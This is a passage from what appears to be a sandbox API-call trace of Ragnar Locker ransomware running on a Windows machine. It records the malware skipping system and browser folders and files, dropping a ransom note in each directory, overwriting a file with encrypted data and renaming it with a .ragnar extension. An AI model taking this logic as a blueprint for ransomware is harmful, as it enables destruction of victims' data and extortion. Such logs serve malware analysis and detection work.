dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0077.576] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.576] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.576] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.576] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.576] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2=".") returned 1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2="..") returned 1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2="Windows") returned -1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2="Windows.old") returned -1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2="Tor browser") returned -1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2="Internet Explorer") returned -1 [0077.576] lstrcmpiW (lpString1="ARFR", lpString2="Google") returned -1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="Opera") returned -1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="Opera Software") returned -1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="Mozilla") returned -1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="Mozilla Firefox") returned -1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="$Recycle.Bin") returned 1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="ProgramData") returned -1 [0077.577] lstrcmpiW (lpString1="ARFR", lpString2="All Users") returned 1 [0077.577] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.577] lstrcpyW (in: lpString1=0x1eb638, lpString2="ARFR" | out: lpString1="ARFR") returned="ARFR" [0077.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\" [0077.577] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\" [0077.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\RGNR_FD7BD9FC.txt" [0077.577] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*" [0077.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.579] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.579] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.579] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.579] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.580] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.580] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2=".") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="..") returned 1 [0077.580] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bb420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.580] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.580] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.580] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bb420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.580] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.580] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.580] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0077.580] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.580] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1ARFR.ITS" | out: lpString1="MSB1ARFR.ITS") returned="MSB1ARFR.ITS" [0077.580] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned=".ITS" [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="autorun.inf") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="boot.ini") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="bootfont.bin") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="bootsect.bak") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="bootmgr") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="bootmgr.efi") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="bootmgfw.efi") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="desktop.ini") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="iconcache.db") returned 1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="ntldr") returned -1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="ntuser.dat") returned -1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="ntuser.dat.log") returned -1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="ntuser.ini") returned -1 [0077.580] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="thumbs.db") returned -1 [0077.580] lstrcmpiW (lpString1=".ITS", lpString2=".db") returned 1 [0077.581] lstrcmpiW (lpString1=".ITS", lpString2=".sys") returned -1 [0077.581] lstrcmpiW (lpString1=".ITS", lpString2=".dll") returned 1 [0077.581] lstrcmpiW (lpString1=".ITS", lpString2=".lnk") returned -1 [0077.581] lstrcmpiW (lpString1=".ITS", lpString2=".msi") returned -1 [0077.581] lstrcmpiW (lpString1=".ITS", lpString2=".drv") returned 1 [0077.581] lstrcmpiW (lpString1=".ITS", lpString2=".exe") returned 1 [0077.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0077.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0077.581] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1658904) returned 1 [0077.581] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x19500f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.581] GetProcessHeap () returned 0x580000 [0077.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.581] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.595] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.595] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.595] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.595] ReadFile (in: hFile=0x108, lpBuffer=0x22c0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0x100000, lpOverlapped=0x0) returned 1 [0077.617] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.623] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.623] WriteFile (in: hFile=0x108, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0x100000, lpOverlapped=0x0) returned 1 [0077.626] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.626] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.631] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x195018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.631] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.631] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.631] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.631] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.631] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.631] GetProcessHeap () returned 0x580000 [0077.631] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.631] CloseHandle (hObject=0x108) returned 1 [0077.631] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" [0077.631] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.ragnar_FD7BD9FC" [0077.631] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.632] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bb420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.632] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.632] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.632] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.632] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.632] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bb420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.632] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.632] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2=".") returned 1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="..") returned 1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Windows") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Windows.old") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Tor browser") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Internet Explorer") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Google") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Opera") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Opera Software") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Mozilla") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="Mozilla Firefox") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="$Recycle.Bin") returned 1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="ProgramData") returned -1 [0077.632] lstrcmpiW (lpString1="ENES", lpString2="All Users") returned 1 [0077.632] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.632] lstrcpyW (in: lpString1=0x1eb638, lpString2="ENES" | out: lpString1="ENES") returned="ENES" [0077.632] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\" [0077.633] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\" [0077.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\RGNR_FD7BD9FC.txt" [0077.633] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.637] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*" [0077.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.637] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.637] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x808539a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.637] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x808539a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.637] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.637] 